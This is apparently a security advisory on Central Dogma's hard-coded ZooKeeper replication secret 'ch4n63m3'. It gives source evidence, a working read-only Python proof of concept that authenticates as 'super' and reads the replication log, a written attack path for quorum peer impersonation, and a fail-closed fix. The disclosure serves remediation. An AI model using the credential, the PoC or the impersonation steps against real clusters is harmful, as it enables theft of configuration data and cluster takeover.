Central Dogma: Hard-coded ZooKeeper replication secret 'ch4n63m3' with silent fallback enables cluster takeover

## Vulnerability `ZooKeeperReplicationConfig.secret()` silently substitutes the hard-coded constant `"ch4n63m3"` (leetspeak for "change me") whenever the operator omits `replication.secret`. The same secret is wired into both the **client-facing SASL context** and the **quorum/learner SASL contexts** of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds. ### Three Reinforcing Defects 1. **OSS-public credential** — `DEFAULT_SECRET` is in `line/centraldogma` source. 2. **Silent fallback** — `firstNonNull(convertValue(...), DEFAULT_SECRET)` substitutes the default with no log, no warning, no startup banner. The only sanity check `checkArgument(!secret().isEmpty(), ...)` passes because the getter substitutes the literal before the emptiness check runs. 3. **Dual-purpose secret** — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces. ### Architecture Context (Important) Central Dogma does **NOT** connect to an external ZooKeeper ensemble. Each replica embeds a `QuorumPeer` (`EmbeddedZooKeeper extends QuorumPeer`) inside its own JVM. The Central Dogma cluster **IS** the ZK ensemble. So the "ZK network" is the inter-replica network of the Central Dogma cluster itself. ### Applicability | `replication.method` | ZK Started? | Applicable? | |---|---|---| | `NONE` (standalone, dev default) | No | **NOT applicable** | | `ZOOKEEPER` (HA production) | Yes, embedded on every replica | **Fully applicable** — canonical production configuration | --- ## Evidence **File:** `server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java` **Branch:** `main` @ commit `d64a5151` **Line 53** — the constant: ```java private static final String DEFAULT_SECRET = "ch4n63m3"; ``` **Lines 210–215** — the silent fallback: ```java /** * Returns the secret string used for authenticating the ZooKeeper peers. */ public String secret() { return firstNonNull(convertValue(secret, "replication.secret"), DEFAULT_SECRET); } ``` --- **File:** `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java` **Lines 586–607** — JAAS wiring (same secret on both surfaces): ```java final String escapedSecret = jaasValueEscaper.escape(cfg.secret()); ImmutableList.of("Server", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -> { buf.append(name).append(" {").append(newline); buf.append(DigestLoginModule.class.getName()).append(" required").append(newline); buf.append("user_super=\"").append(escapedSecret).append("\";").append(newline); buf.append("};").append(newline); }); ImmutableList.of("Client", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -> { buf.append(name).append(" {").append(newline); buf.append(DigestLoginModule.class.getName()).append(" required").append(newline); buf.append("username=\"super\"").append(newline); buf.append("password=\"").append(escapedSecret).append("\";").append(newline); buf.append("};").append(newline); }); ``` --- **File:** `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java` **Line 44** — proves CD embeds the ZK server: ```java final class EmbeddedZooKeeper extends QuorumPeer { ``` **Lines 213–220** — client port binding (loopback only): ```java private static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException { final InetSocketAddress bindAddr = zkCfg.getClientPortAddress(); final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory(); // Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others. cnxnFactory.configure(new InetSocketAddress("127.0.0.1", bindAddr != null ? bindAddr.getPort() : 0), zkCfg.getMaxClientCnxns()); return cnxnFactory; } ``` > Quorum/election ports are **NOT** loopback-bound — they bind to `replication.servers[].host` as configured, exposed on the inter-replica network. --- ## PoC Two attack surfaces, two scenarios. **Surface A** (client port, same-host) is implemented as a working read-only PoC. **Surface B** (quorum-port peer impersonation) is documented but intentionally not weaponized. ### Surface A — Same-Host Client Port (Loopback) PoC Python + kazoo + pure-sasl. Authenticates as `super` over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to `127.0.0.1`, read-only, prints first 5 entries. ```python #!/usr/bin/env python3 """ C3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only). Demonstrates that a Central Dogma instance launched with a ZooKeeper-replicated configuration but without `replication.secret` set exposes its embedded ZooKeeper to anyone with local-host access, using the well-known credential `super / ch4n63m3`. SAFETY: * Hardcoded to 127.0.0.1. Refuses any other target. * Read-only. No writes are issued. No nodes are deleted. * Limits how much data it prints (first MAX_LOGS entries). """ from __future__ import annotations import sys from kazoo.client import KazooClient from kazoo.exceptions import NoNodeError HOST = "127.0.0.1" DEFAULT_PORT = 2381 DEFAULT_USER = "super" DEFAULT_SECRET = "ch4n63m3" # ZooKeeperReplicationConfig.DEFAULT_SECRET MAX_LOGS = 5 def main() -> int: port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_PORT if HOST != "127.0.0.1": print("Refusing to run against non-loopback host.", file=sys.stderr) return 2 zk = KazooClient( hosts=f"{HOST}:{port}", sasl_options={ "mechanism": "DIGEST-MD5", "username": DEFAULT_USER, "password": DEFAULT_SECRET, }, read_only=True, timeout=5.0, ) try: zk.start(timeout=5) except Exception as exc: print(f"[!] Could not reach {HOST}:{port} -- {exc}", file=sys.stderr) return 1 try: try: log_children = zk.get_children("/dogma/logs") except NoNodeError: print("[i] /dogma/logs not present -- is replication actually enabled?") log_children = [] print(f"[+] Authenticated as '{DEFAULT_USER}' with default secret.") print(f"[+] /dogma/logs has {len(log_children)} entries.") for child in sorted(log_children)[:MAX_LOGS]: path = f"/dogma/logs/{child}" try: data, stat = zk.get(path) except NoNodeError: continue preview = data[:120].decode("utf-8", errors="replace") if data else "" print(f" - {path} ({stat.dataLength} bytes) preview={preview!r}") try: block_children = zk.get_children("/dogma/log_blocks") print(f"[+] /dogma/log_blocks has {len(block_children)} entries.") except NoNodeError: pass print( f"[!] ZK cluster compromised: read {len(log_children)} log entries " "with default credentials." ) return 0 finally: zk.stop() zk.close() if __name__ == "__main__": raise SystemExit(main()) ``` **Dependencies** (`requirements.txt`): `kazoo`, `pure-sasl` **Setup:** edit `dist/src/conf/dogma.json` to enable replication **WITHOUT** setting secret: ```json { "replication": { "method": "ZOOKEEPER", "serverId": 1, "servers": { "1": { "host": "127.0.0.1", "quorumPort": 2382, "electionPort": 2383, "clientPort": 2381 } } } } ``` > **Note:** `replication.secret` is **INTENTIONALLY** omitted. Launch with `./gradlew :dist:startup`. **Run:** ```bash python3 zk_takeover.py 2381 ``` **Expected output (VULNERABLE):** ``` [+] Authenticated as 'super' with default secret. [+] /dogma/logs has 14 entries. - /dogma/logs/0000000001 (412 bytes) preview="{"size":..." - /dogma/logs/0000000002 (508 bytes) preview="{"size":..." ... [+] /dogma/log_blocks has 14 entries. [!] ZK cluster compromised: read 14 log entries with default credentials. ``` After the patch (fail-closed on null/placeholder secret), Central Dogma **refuses to start at all** with this config. ### Surface B — Inter-Replica Quorum-Port Peer Impersonation (Documented, Not Weaponized) Quorum/election ports bind to the configured `replication.servers[].host`, **NOT** to loopback. In typical HA deployments (multi-DC, K8s with NetworkPolicy gaps, shared VPC), these ports are reachable from peer workloads. **Attack path:** 1. Attacker reaches the quorum port of any Central Dogma replica from a co-located workload (same K8s namespace, same VLAN, etc.). 2. Attacker spins up their own Apache ZooKeeper process configured with: - matching `serverId` (or a new one if the `QuorumVerifier` allows dynamic membership) - JAAS `QuorumLearner` / `QuorumServer` digest contexts using `super / ch4n63m3` - `quorumServerSaslAuthRequired=true`, `quorumLearnerSaslAuthRequired=true` 3. Attacker's process joins the quorum as a learner. SASL handshake passes because the secret matches. 4. Attacker now receives every replicated `Command`, can attempt to win leader election, and once in the cluster can write to `/dogma/logs/` directly — which `ZooKeeperCommandExecutor.replayLogs()` will deserialize and execute on every legitimate replica. **Dangerous Commands the attacker can replay across the cluster** (from `Command.java:46-68`): | Command | Impact | |---|---| | `PURGE_PROJECT` | Permanent deletion | | `ROTATE_SESSION_MASTER_KEY` / `REWRAP_ALL_KEYS` | Pivot encryption-at-rest layer to attacker-controlled keys | | `UPDATE_SERVER_STATUS` (read-only / maintenance) | Denial of Service | | `CREATE_SESSION` with crafted user info | Session forgery | > This PoC is **intentionally NOT shipped as runnable code**. It is closer to an attack tool than a verification artifact, and the audit's purpose is to drive the fix, not to provide weaponization. The Surface A PoC plus this documentation are sufficient to motivate remediation. --- ## Impact ### Threat Model (Realistic for LINE Corporate Deployment) - Multi-tenant K8s where Central Dogma StatefulSet shares Pod network with other workloads - Or shared VPC/VLAN where the inter-replica quorum traffic is reachable from co-tenant hosts - Or single-tenant cluster where any sidecar/co-located process has loopback access (Surface A) ### What an Attacker Gains with the Leaked Secret 1. **Read the full replication log.** `/dogma/logs` + `/dogma/log_blocks` contain the Zstd-compressed `ReplicationLog` entries — every commit, every `PUSH` payload (with file contents), every credential mutation, every session/master-key management command. Includes `CREATE_SESSION_MASTER_KEY`, `ROTATE_SESSION_MASTER_KEY`, `REWRAP_ALL_KEYS`. Reading this effectively renders the encryption-at-rest layer moot because the master-key management commands themselves traverse ZK. 2. **Write to the replication log (Surface B).** Forged `LogMeta` + `log_blocks` entries are auto-replayed by `ZooKeeperCommandExecutor.replayLogs()` on every replica. The attacker gains **arbitrary Command execution on the entire cluster**. 3. **Join the quorum as a fake peer (Surface B).** With the secret, an attacker reachable on the inter-replica network can pose as a legitimate replica, receive all future commits in real time, and potentially win leadership. **Scope is Changed** (CVSS) because ZK is a separate security authority from Central Dogma's HTTP API, and the impact propagates to every microservice consuming Central Dogma configuration via watch. **Incident recovery cost:** secret rotation alone is insufficient. Every `Command` that traversed ZK during the compromise window must be audited. If master-key rotation commands were issued, all encryption-at-rest data must be re-encrypted. This is an **extremely high-blast-radius failure mode** for a single missing config knob. **Historical analogue:** this is the same anti-pattern that caused Mirai (2016, IoT default credentials), pre-2018 unauthenticated Hadoop YARN clusters, and the recurring ZK / Elasticsearch / MongoDB internet-exposed-without-auth incidents 2018–2024. --- ## How to Fix **Remove the default constant. Fail closed when `replication.secret` is missing or matches the legacy placeholder.** ```java // ZooKeeperReplicationConfig.java // REMOVE: private static final String DEFAULT_SECRET = "ch4n63m3"; @JsonCreator ZooKeeperReplicationConfig(/* ...unchanged params... */ @JsonProperty("secret") @Nullable String secret, /* ... */) { // ... final String resolved = convertValue(secret, "replication.secret"); checkArgument(resolved != null && !resolved.isEmpty(), "'replication.secret' must be set (and non-empty) when " + "ZooKeeper replication is enabled. There is no default; " + "generate a long random string and configure it on every " + "replica."); // Reject the historical placeholder explicitly so existing config files // copy-pasted from old tutorials fail loudly instead of silently. checkArgument(!"ch4n63m3".equals(resolved), "'replication.secret' is set to the legacy placeholder " + "value. Replace it with a fresh random secret " + "(`openssl rand -hex 32`)."); // Optional: enforce minimum length (32 chars) and reject obvious placeholders. checkArgument(resolved.length() >= 32, "'replication.secret' must be at least 32 characters. " + "Use `openssl rand -hex 32` to generate one."); this.secret = resolved; } public String secret() { return secret; // never null at this point } ```